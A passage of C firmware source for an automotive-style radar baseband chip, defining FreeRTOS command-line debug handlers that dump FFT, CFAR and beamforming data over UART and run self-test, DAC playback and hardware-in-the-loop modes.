"\tUsage 1: dump cfar rv or dbf \n\r"
"\tstep1: bb_dbg_urt <'cfar'/'dbf'> : turn on debug mode \n\r"
"\tstep2: scan start <1> : bb run one frame \n\r"
"\tstep3: bb_dbg_urt <'cfar'/'dbf'> <'dump'> : dump debug data \n\r"
"\tstep4: bb_dbg_urt <'off'> : turn off debug mode \n\r"
"\tUsage 2: dump MEM_BUF \n\r"
"\tstep1: bb_dbg_urt <'adc'/'fft1d'> : select data store in MEM_BUF, default fft2d \n\r"
"\tstep2: scan start <1> : bb run one frame \n\r"
"\tstep3: bb_dbg_urt <'buf'> <ch_index:0-4>: dump 1 or 4 RXs' data in MEM_BUF\n\r"
"\tstep4: bb_dbg_urt <'off'> : turn off debug mode \n\r",
bb_dbg_urt_command_handler,
-1
};
static BaseType_t bb_dbg_urt_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
baseband_t* bb = baseband_get_rtl_frame_type(); // read back the bank selected in RTL
sensor_config_t* cfg = (sensor_config_t*)(bb->cfg);
baseband_hw_t* bb_hw = &bb->bb_hw;
uint8_t rtl_frame_type = baseband_read_reg(NULL, BB_REG_FDB_SYS_BNK_ACT);
EMBARC_PRINTF("\n # rtl_frame_type = %d \n", rtl_frame_type);
const char *param1, *param2;
BaseType_t len1, len2;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
unsigned char dat_type = 0; // 0: non-coherent combined 2D_FFT, 1: DBF spectrum, 2: MEM_BUF data (ADC or FFT1D or FFT2D)
signed char ch_index_input = 0;
bool dump_en = false;
char * dat_type_str[2] = {"\n comb_2dfft", "\n dbf_spectrum"};
unsigned char dbg_trgt = DBG_BUF_TAR_NONE;
/* get paremeter */
if (param1 != NULL) {
if (strncmp(param1, "adc", sizeof("adc") - 1) == 0) {
uint16_t sys_enable = SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true );
bb_dpc_sysen_set(0, sys_enable);
BB_WRITE_REG(NULL, SAM_SINKER, SYS_BUF_STORE_ADC);
} else if (strncmp(param1, "fft1d", sizeof("fft1d") - 1) == 0) {
uint16_t sys_enable = SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true );
bb_dpc_sysen_set(0, sys_enable);
BB_WRITE_REG(NULL, SAM_SINKER, SYS_BUF_STORE_FFT);
} else if (strncmp(param1, "cfar", sizeof("cfar") - 1) == 0) {
dat_type = 0;
dbg_trgt = DBG_BUF_TAR_CFR;
} else if (strncmp(param1, "dbf", sizeof("dbf") - 1) == 0) {
dat_type = 1;
dbg_trgt = DBG_BUF_TAR_BFM;
} else if (strncmp(param1, "off", sizeof("off") - 1) == 0) {
dbg_trgt = DBG_BUF_TAR_NONE;
baseband_data_proc_init();
BB_WRITE_REG(NULL, SAM_SINKER , SAM_SINKER_FFT ); // Reset register SAM_SINKER to default value as in baseband_sam_init().
} else if (strncmp(param1, "buf", sizeof("buf") - 1) == 0) {
dat_type = 2;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbg_urt_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbg_urt_command);
return pdFALSE;
}
if (param2 != NULL) {
if (strncmp(param2, "dump", sizeof("dump") - 1) == 0) {
dump_en = true;
} else if (dat_type == 2) { //dump MEM_BUF ADC/FFT1D/FFT2D data
ch_index_input = strtol(param2, NULL, 0); // select one RX channel to dump
if (ch_index_input > 3 || ch_index_input < 0) {
ch_index_input = -1; // If param2 > 3, print all 4 channel data!
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbg_urt_command);
return pdFALSE;
}
} else {
baseband_write_reg(bb_hw, BB_REG_DBG_BUF_TAR, dbg_trgt&0x3F); /* turn on/off debug mode */
}
if (dump_en == true){
#if (0) // set 1 to print cfar target information
uint8_t frame_type = baseband_get_cur_frame_type();
EMBARC_PRINTF("\n current frame_type = %d \n", frame_type);
radar_sys_params_t* sys_params = bb->track->radar_params[frame_type];
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
uint32_t mem_rlt_offset = frame_type * (1<<SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);
int obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ); ;
#ifdef CHIP_CASCADE
obj_num = BB_READ_REG(bb_hw, DOA_NUMB_OBJ);
#endif
int32_t hw_rng, hw_vel, hw_sig, hw_noi, hw_ang;
float measure_rng, measure_vel, measure_sig, measure_noi, measure_ang;
EMBARC_PRINTF("\n------ Object NUM is %d -----\n", obj_num);
EMBARC_PRINTF(" ------ objects info list: ------- \n\n");
for (int i = 0; i < obj_num; i++) {
hw_rng = obj_info[i].rng_idx;
hw_vel = obj_info[i].vel_idx;
hw_sig = obj_info[i].doa[0].sig_0;
hw_ang = obj_info[i].doa[0].ang_idx_0;
hw_noi = obj_info[i].noi;
EMBARC_PRINTF("\n obj_ind = %d \n [Hardware value]:\n 2DFFT_rng_ind = %d, 2DFFT_vel_ind = %d, DBF_peak_ind = %d, 2DFFT_peak power = %d\n\n",
i, hw_rng, hw_vel, hw_ang, hw_sig);
radar_param_fft2rv_nowrap(sys_params, hw_rng, hw_vel, &measure_rng, &measure_vel);
measure_sig = fl_to_float(hw_sig, 15, 1, false, 5, false);
measure_noi = fl_to_float(hw_noi, 15, 1, false, 5, false);
measure_ang = sys_params->bfm_az_left + hw_ang * sys_params->az_delta_deg ;
EMBARC_PRINTF("\n [Measured value]:\n SNR(dB):%3.2f, R(m):%3.2f, V(m/s):%3.2f, A(deg):%3.2f\n\n",
10*log10f(measure_sig/measure_noi),
measure_rng,
measure_vel,
measure_ang);
// Read fft data from MEM_BUF
uint32_t old1 = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
uint32_t fft_mem;
complex_t complex_fft;
for (uint8_t bpm_index = 0; bpm_index <= cfg->nvarray - 1; bpm_index++){
EMBARC_PRINTF("\n [Corresponding 2D-FFT peak values]:\n [bpm_index = %d, rx1-%d]:\n", bpm_index, DOA_MAX_NUM_RX);
for (uint8_t ch_index = 0; ch_index < MAX_NUM_RX; ch_index++){
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, hw_rng, hw_vel, bpm_index);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
//EMBARC_PRINTF("fft_mem = %u ", fft_mem);
EMBARC_PRINTF("%7.2f + j*%1.2f", complex_fft.r, complex_fft.i);
}
#ifdef CHIP_CASCADE
// switch to MEM_MAC to get slave FFT peak data
uint32_t old2 = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_MAC);
uint32_t addr_shift = MAX_NUM_RX * ( i * cfg->nvarray + bpm_index );
for (uint8_t ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
fft_mem = baseband_read_mem_table(bb_hw, addr_shift + ch_index);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
//EMBARC_PRINTF("fft_mem = %u ", fft_mem);
EMBARC_PRINTF("%7.2f + j*%1.2f", complex_fft.r, complex_fft.i);
}
baseband_switch_mem_access(bb_hw, old2);
#endif
}
EMBARC_PRINTF("\n\n");
baseband_switch_mem_access(bb_hw, old1);
}
baseband_switch_mem_access(bb_hw, old);
#endif
// Read debug data from MEM_BUF
uint32_t old1 = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
uint32_t fft_mem;
uint32_t addr_offset = 0x100000/4; // Start read debug data from 1MB offset in MEM_BUF, read uint is word, so offset = 1MB / 4 bytes
uint32_t data_num = 0; // number of debug data to print
uint32_t col_num = 0; // column number of printed matrix
if (dat_type == 0) { // dump non-coherent combined 2D-FFT data
data_num = cfg->rng_nfft / 2 * cfg->vel_nfft; // number of combined 2D-FFT points, only half range dimension of 2D-FFT data are stored
col_num = cfg->vel_nfft;
} else if (dat_type == 1) { // dump DBF_spectrum data
int obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ); // number of detected objects
#ifdef CHIP_CASCADE
obj_num = BB_READ_REG(bb_hw, DOA_NUMB_OBJ);
#endif
data_num = obj_num*cfg->doa_npoint[0];
col_num = cfg->doa_npoint[0];
}
EMBARC_PRINTF("# data_size = %d \n", data_num);
EMBARC_PRINTF(dat_type_str[dat_type]);
EMBARC_PRINTF(" = [...\n"); // print in MATLAB style
for (uint32_t i = 0; i < data_num; i ++){
fft_mem = baseband_read_mem_table(bb_hw, i + addr_offset); // not i*4
EMBARC_PRINTF("%d ", fft_mem);
UDELAY(1);
if ((i > 0) && ((i+1) % 32 == 0)){
EMBARC_PRINTF("...\n"); // switch to next line
UDELAY(2);
}
if ((i > 0) && ((i+1) % (col_num) == 0)){ // index i start from 0, so i+1 here
EMBARC_PRINTF(";...\n"); // print next row
UDELAY(2);
}
}
EMBARC_PRINTF("];...\n");
baseband_switch_mem_access(bb_hw, old1); // print debug data over
}
if (dat_type == 2){
int bpm_index, ch_index, vel_index, rng_index;
uint32_t fft_mem;
uint32_t old;
unsigned char dump_channel_num = 1;
if (ch_index_input < 0) {
dump_channel_num = MAX_NUM_RX; // print all 4 channels
} else {
dump_channel_num = 1; // print one channel
}
EMBARC_PRINTF("# ch_index_input = %d, dump_channel_num = %d \n", ch_index_input, dump_channel_num);
old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
for (bpm_index = 0; bpm_index <= cfg->nvarray - 1; bpm_index++) {
for (ch_index = 0; ch_index < dump_channel_num; ch_index++) {
EMBARC_PRINTF("MEM_BUF(:, :, %d, %d) = [ ", ch_index+1, bpm_index +1); // print data in MATLAB style
UDELAY(2);
for (vel_index = 0; vel_index < cfg->vel_nfft; vel_index++ ) {
for (rng_index = 0; rng_index < cfg->rng_nfft / 2; rng_index++ ) {
if (ch_index_input < 0) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, bpm_index); // print all 4 channels
} else {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index_input, rng_index, vel_index, bpm_index); // print specified channel
}
UDELAY(2);
EMBARC_PRINTF("%u ", fft_mem); // Print unsigned long to UART
UDELAY(2);
if (rng_index % 20 == 0){
EMBARC_PRINTF("...\n"); // switch to next line
UDELAY(2);
}
}
EMBARC_PRINTF(";...\n"); // end of one row
UDELAY(2);
}
EMBARC_PRINTF("];...\n"); // end of one matrix
UDELAY(5);
}
MDELAY(1);
baseband_switch_mem_access(bb_hw, old);
}
}
return pdFALSE;
}
/* radar_params command */
static const CLI_Command_Definition_t radar_param_show_command = {
"radar_params",
"radar_params \n\r"
"\tShow radar system parameters \n\r"
"\tUsage: radar_param\n\r",
radar_param_show,
0
};
static BaseType_t radar_param_show(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
static int bb_idx = 0;
baseband_t *bb = baseband_get_bb(bb_idx);
static uint32_t count = 0;
radar_sys_params_t *sys = &bb->sys_params;
switch(count) {
case 0 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "carrier_freq = %.3fGHz\n\r", sys->carrier_freq);
count++;
return pdTRUE;
case 1 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "bandwidth = %.3fMHz\n\r", sys->bandwidth);
count++;
return pdTRUE;
case 2 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "chirp_rampup = %.3fus\n\r", sys->chirp_rampup);
count++;
return pdTRUE;
case 3 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "chirp_period = %.3fus\n\r", sys->chirp_period);
count++;
return pdTRUE;
case 4 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "Fs = %.3fMHz\n\r", sys->Fs);
count++;
return pdTRUE;
case 5 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "rng_nfft = %d\n\r", sys->rng_nfft);
count++;
return pdTRUE;
case 6 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "vel_nfft = %d\n\r", sys->vel_nfft);
count++;
return pdTRUE;
case 7 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "doa_npoint = (%d,%d)\n\r", sys->doa_npoint[0],sys->doa_npoint[1]);
count++;
return pdTRUE;
case 8 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "bfm_az_left = %.3fdeg\n\r", sys->bfm_az_left);
count++;
return pdTRUE;
case 9 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "bfm_az_right = %.3fdeg\n\r", sys->bfm_az_right);
count++;
return pdTRUE;
case 10 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "bfm_ev_up = %.3fdeg\n\r", sys->bfm_ev_up);
count++;
return pdTRUE;
case 11 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "bfm_ev_down = %.3fdeg\n\r", sys->bfm_ev_down);
count++;
return pdTRUE;
case 12 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "rng_delta = %.3fm\n\r", sys->rng_delta);
count++;
return pdTRUE;
case 13 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "vel_delta = %.3fm/s\n\r", sys->vel_delta);
count++;
return pdTRUE;
case 14 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "az_delta = %.3fdeg (%.3frad)\n\r", sys->az_delta_deg, sys->az_delta);
count++;
return pdTRUE;
case 15 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "ev_delta = %.3fdeg (%.3frad)\n\r", sys->ev_delta_deg, sys->ev_delta);
count++;
return pdTRUE;
case 16 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_fov_az_left = %.3fdeg\n\r", sys->trk_fov_az_left);
count++;
return pdTRUE;
case 17 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_fov_az_right = %.3fdeg\n\r", sys->trk_fov_az_right);
count++;
return pdTRUE;
case 18 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_nf_thres = %.3fm\n\r", sys->trk_nf_thres);
count++;
return pdTRUE;
case 19 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_drop_delay = %.3fsec\n\r", sys->trk_drop_delay);
count++;
return pdTRUE;
case 20 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_capt_delay = %.3fsec\n\r", sys->trk_capt_delay);
count++;
return pdTRUE;
case 21 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_fps = %dfrm/sec \n\r", sys->trk_fps);
count++;
return pdTRUE;
case 22 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_fov_ev_down = %.3fdeg\n\r", sys->trk_fov_ev_down);
count++;
return pdTRUE;
case 23 :
snprintf(pcWriteBuffer, cmdMAX_OUTPUT_SIZE-1, "trk_fov_ev_up = %.3fdeg\n\r", sys->trk_fov_ev_up);
count++;
return pdTRUE;
default:
count = 0;
snprintf(pcWriteBuffer, xWriteBufferLen, "-----------SYS-PARAM-EOF %d----------\r\n", bb_idx);
if (bb_idx == NUM_FRAME_TYPE-1) {
bb_idx = 0;
return pdFALSE;
} else {
bb_idx++;
return pdTRUE;
}
}
return pdFALSE;
}
/* bb_fftdump command */
static const CLI_Command_Definition_t bb_fftdump_command = {
"bb_fftdump",
"bb_fftdump \n\r"
"\tDump FFT memory data \n\r"
"\tUsage: bb_fftdump [ant_index] [bpm_index] [chirp_index] [sample_offset] [sample_len]\n\r",
bb_fftdump_command_handler,
-1
};
static BaseType_t bb_fftdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3, *param4, *param5;
BaseType_t len1, len2, len3, len4, len5;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
param5 = FreeRTOS_CLIGetParameter(pcCommandString, 5, &len5);
sensor_config_t *cfg = sensor_config_get_cur_cfg();
baseband_t *bb = baseband_get_cur_bb();
baseband_hw_t *bb_hw = &bb->bb_hw;
if ( param2==NULL ) {
int ch_index, vel_index, rng_index;
uint32_t fft_mem;
complex_t complex_fft;
float fft_power_db;
uint32_t frame_index, frame_num;
uint32_t old;
if ( param1==NULL )
frame_num = 1;
else
frame_num = ch_index = strtol(param1, NULL, 0);
for (frame_index = 1; frame_index <= frame_num; frame_index++) {
EMBARC_PRINTF("\n==========\n");
baseband_start(bb);
/* wait done */
while (baseband_hw_is_running(bb_hw) == false)
;
while (baseband_hw_is_running(bb_hw) == true)
;
old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
for (ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
EMBARC_PRINTF("\nA %d\n", ch_index);
for (vel_index = 0; vel_index < cfg->vel_nfft / 2; vel_index++ ) {
EMBARC_PRINTF("V %d\n", vel_index);
for (rng_index = 0; rng_index < cfg->rng_nfft / 2; rng_index++ ) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, 0);
complex_fft = cfl_to_complex(fft_mem, 14, 14, true, 4, false);
fft_power_db = log10f(complex_fft.r * complex_fft.r + complex_fft.i * complex_fft.i);
EMBARC_PRINTF("%2.2f\n", fft_power_db);
if (rng_index % 10 == 0)
MDELAY(1);
}
}
}
MDELAY(1000);
baseband_switch_mem_access(bb_hw, old);
}
} else {
int ch_index = strtol(param1, NULL, 0);
int bpm_index = strtol(param2, NULL, 0);
int vel_index = strtol(param3, NULL, 0);
int rng_offset = strtol(param4, NULL, 0);
int rng_len = strtol(param5, NULL, 0);
int rng_index;
uint32_t fft_mem;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
for (rng_index = rng_offset; rng_index <= rng_len; rng_index++) {
fft_mem = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, bpm_index);
EMBARC_PRINTF( " ant_index %d bpm_index %d chirp_index %d fft_mem 0x%08x\n", ch_index, bpm_index, vel_index, fft_mem);
}
baseband_switch_mem_access(bb_hw, old);
}
return pdFALSE;
}
/* bb_test command for temporarily debugging, please do not check in debug code*/
static const CLI_Command_Definition_t bb_test_command = {
"bb_test",
"bb_test \n\r"
"\tTest for temp debug.\n\r"
"\tUsage: bb_test\n\r",
bb_test_command_handler,
-1
};
static BaseType_t bb_test_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
/* bb_test for temp debug, NO check in */
return pdFALSE;
}
/* bb_bist command */
static const CLI_Command_Definition_t bb_bist_command = {
"bb_bist",
"bb_bist \n\r"
"\tTest for bb logic bist.\n\r"
"\tUsage: bb_bist\n\r",
bb_bist_command_handler,
-1
};
static BaseType_t bb_bist_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
sensor_config_t *cfg = sensor_config_get_cur_cfg();
bool bist_result = baseband_bist_ctrl(cfg->bb, true);
if (bist_result == true)
EMBARC_PRINTF("BB_LBIST SUCCESS !!\n\r");
else
EMBARC_PRINTF("BB_LBIST ERROR !!\n\r");
return pdFALSE;
}
/* bb_dac command */
static const CLI_Command_Definition_t bb_dac_command = {
"bb_dac",
"bb_dac \n\r"
"\tTest for bb dac playback.\n\r"
"\tUsage: bb_dac <outer/inner> <tia/hpf1/vga1/hpf2/vga2> <tia/hpf1/vga1/vga2> <adc>\n\r",
bb_dac_command_handler,
-1
};
static BaseType_t bb_dac_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3, *param4;
BaseType_t len1, len2, len3, len4;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
bool inner_circle = false;
bool adc_dbg_en = false;
uint8_t inject_num, out_num;
baseband_t *bb = baseband_get_bb(0);
baseband_hw_t *bb_hw = &bb->bb_hw;
/* get paremeter 1 */
if (param1 != NULL) {
if (strncmp(param1, "inner", sizeof("inner") - 1) == 0) {
inner_circle = true;
} else if (strncmp(param1, "outer", sizeof("outer") - 1) == 0) {
inner_circle = false;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dac_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dac_command);
return pdFALSE;
}
/* get paremeter 2 */
if (param2 != NULL) {
if (strncmp(param2, "tia", sizeof("tia") - 1) == 0) {
inject_num = 0;
} else if (strncmp(param2, "hpf1", sizeof("hpf1") - 1) == 0) {
inject_num = 1;
} else if (strncmp(param2, "vga1", sizeof("vga1") - 1) == 0) {
inject_num = 2;
} else if (strncmp(param2, "hpf2", sizeof("hpf2") - 1) == 0) {
inject_num = 3;
} else if (strncmp(param2, "vga2", sizeof("vga2") - 1) == 0) {
inject_num = 4;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dac_command);
return pdFALSE;
}
} else {
inject_num = 1;
}
/* get paremeter 3 */
if (param3 != NULL) {
if (strncmp(param3, "tia", sizeof("tia") - 1) == 0) {
out_num = 0;
} else if (strncmp(param3, "hpf1", sizeof("hpf1") - 1) == 0) {
out_num = 1;
} else if (strncmp(param3, "vga1", sizeof("vga1") - 1) == 0) {
out_num = 2;
} else if (strncmp(param3, "vga2", sizeof("vga2") - 1) == 0) {
out_num = 3;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dac_command);
return pdFALSE;
}
} else {
out_num = 3;
}
/* get paremeter 4 */
if (param4 != NULL) {
if (strncmp(param4, "adc", sizeof("adc") - 1) == 0) {
adc_dbg_en = true;
} else {
adc_dbg_en = false;
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dac_command);
return pdFALSE;
}
} else {
adc_dbg_en = false;
}
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
/* call DAC function */
float peak_power[4];
baseband_dac_playback(bb_hw, inner_circle, inject_num, out_num, adc_dbg_en, peak_power);
return pdFALSE;
}
/* bb_hil command */
/* TODO, bb_hil should be tested with FPGA and GUI, when they are ready */
static const CLI_Command_Definition_t bb_hil_command = {
"bb_hil",
"bb_hil \n\r"
"\tTest for bb HIL mode (GPIO or AHB input).\n\r"
"\tUsage: bb_hil <start/stop> <gpio/ahb> <fft1d/fft2d/null> <frame_num>\n\r",
bb_hil_command_handler,
-1
};
static BaseType_t bb_hil_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3, *param4;
BaseType_t len1, len2, len3, len4;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
param4 = FreeRTOS_CLIGetParameter(pcCommandString, 4, &len4);
baseband_t *bb = baseband_get_cur_bb();
baseband_hw_t *bb_hw = &bb->bb_hw;
bool hil_start = false;
bool hil_mux = false;
uint8_t dmp_mux = 0;
/* get paremeter 1 */
if (param1 != NULL) {
if (strncmp(param1, "start", sizeof("start") - 1) == 0) {
hil_start = true;
} else if (strncmp(param1, "stop", sizeof("stop") - 1) == 0) {
baseband_t* bb = baseband_get_rtl_frame_type();
baseband_stop(bb);
return pdFALSE;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_hil_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_hil_command);
return pdFALSE;
}
/* get paremeter 2 */
if (param2 != NULL) {
if (strncmp(param2, "ahb", sizeof("ahb") - 1) == 0) {
hil_mux = false;
} else if (strncmp(param2, "gpio", sizeof("gpio") - 1) == 0) {
hil_mux = true;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_hil_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_hil_command);
return pdFALSE;
}
/* get paremeter 3 */
/* hil from ahb is not necessary to dump data */
if (param3 != NULL) {
if (strncmp(param3, "fft1d", sizeof("fft1d") - 1) == 0) {
dmp_mux = 1;
} else if (strncmp(param3, "fft2d", sizeof("fft2d") - 1) == 0) {
dmp_mux = 2;
} else if (strncmp(param3, "null", sizeof("null") - 1) == 0) {
dmp_mux = 0;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_hil_command);
return pdFALSE;
}
} else {
dmp_mux = 0; // no dump
}
int32_t frame_num = 1;
/* get paremeter 4 */
if (param4 != NULL) {
frame_num = strtol(param4, NULL, 0);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_hil_command);
return pdFALSE;
}
/* HIL on */
if (true == hil_start) {
stream_on_en = true;
baseband_hil_on(bb_hw, hil_mux, dmp_mux, frame_num);
}
return pdFALSE;
}
/* bb_dbgdump, dumping cfar and doa debug data to extra 1MB memory in MEM_BUF */
static const CLI_Command_Definition_t bb_dbgdump_command = {
"bb_dbgdump",
"bb_dbgdump \n\r"
"\tTest for bb debug-data dump.\n\r"
"\tUsage: bb_dbgdump <cfar/dbf>\n\r",
bb_dbgdump_command_handler,
-1
};
static BaseType_t bb_dbgdump_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
uint8_t dbg_mux = DBG_BUF_TAR_NONE;
/* get 1st paremeter */
if (param1 != NULL) {
if (strncmp(param1, "cfar", sizeof("cfar") - 1) == 0) {
dbg_mux = DBG_BUF_TAR_CFR; /* config cfar debug data to extra 1M in mem_buf */
} else if (strncmp(param1, "dbf", sizeof("dbf") - 1) == 0) {
dbg_mux = DBG_BUF_TAR_BFM; /* config doa debug data to extra 1M in mem_buf */
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbgdump_command);
return pdFALSE;
}
EMBARC_PRINTF("Enable %s debug data to extra 1MB\n", param1);
} else {
return pdFALSE;
}
baseband_t* bb = baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
baseband_dbg_start(&bb->bb_hw, dbg_mux); /* start bb and dumping debug data to memory */
/* If needed, post-processing function can be called here, as debug data is stored to extra 1M */
return pdFALSE;
}
/* bb_dbgsam, config before/after filter, start point and end point in a chirp */
static const CLI_Command_Definition_t bb_dbgsam_command = {
"bb_dbgsam",
"bb_dbgsam \n\r"
"\tTest for bb debug-sample-data settings.\n\r"
"\tUsage: bb_dbgsam <bf/af> <begin_point = 0> <dbg_end = 511>\n\r",
bb_dbgsam_command_handler,
-1
};
static BaseType_t bb_dbgsam_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString)
{
const char *param1, *param2, *param3;
BaseType_t len1;
param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
BaseType_t len2;
param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
BaseType_t len3;
param3 = FreeRTOS_CLIGetParameter(pcCommandString, 3, &len3);
bool dbg_src = SAM_DBG_SRC_BF;
uint16_t dbg_bgn = 0;
uint16_t dbg_end = 511;
/* get 1st paremeter */
if (param1 != NULL) {
if (strncmp(param1, "bf", sizeof("bf") - 1) == 0) {
dbg_src = SAM_DBG_SRC_BF;
} else if (strncmp(param1, "af", sizeof("af") - 1) == 0) {
dbg_src = SAM_DBG_SRC_AF;
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbgsam_command);
return pdFALSE;
}
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbgsam_command);
return pdFALSE;
}
/* get 2nd paremeter */
if (param2 != NULL) {
dbg_bgn = strtol(param2, NULL, 0);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbgsam_command);
return pdFALSE;
}
/* get 3rd paremeter */
if (param3 != NULL) {
dbg_end = strtol(param3, NULL, 0);
} else {
print_help(pcWriteBuffer, xWriteBufferLen, &bb_dbgsam_command);
return pdFALSE;
}
#ifdef CHIP_CASCADE
if (chip_cascade_status() == CHIP_CASCADE_MASTER)
baseband_write_cascade_cmd(pcCommandString); /* spi tx CommandString to slave*/
#endif
baseband_t* bb = baseband_get_rtl_frame_type(); /* read back the bank selected in RTL */
baseband_hw_t *bb_hw = &bb->bb_hw;
uint8_t old_bnk = BB_READ_REG(bb_hw, SYS_BNK_ACT);
for (int i = 0; i < NUM_FRAME_TYPE; i++) {
BB_WRITE_REG(bb_hw, SYS_BNK_ACT , i); /* bank selected */
BB_WRITE_REG(bb_hw, SAM_DBG_SRC , dbg_src); /* before or after down sampling */
BB_WRITE_REG(bb_hw, SAM_SIZE_DBG_BGN, dbg_bgn);
BB_WRITE_REG(bb_hw, SAM_SIZE_DBG_END, dbg_end);
}
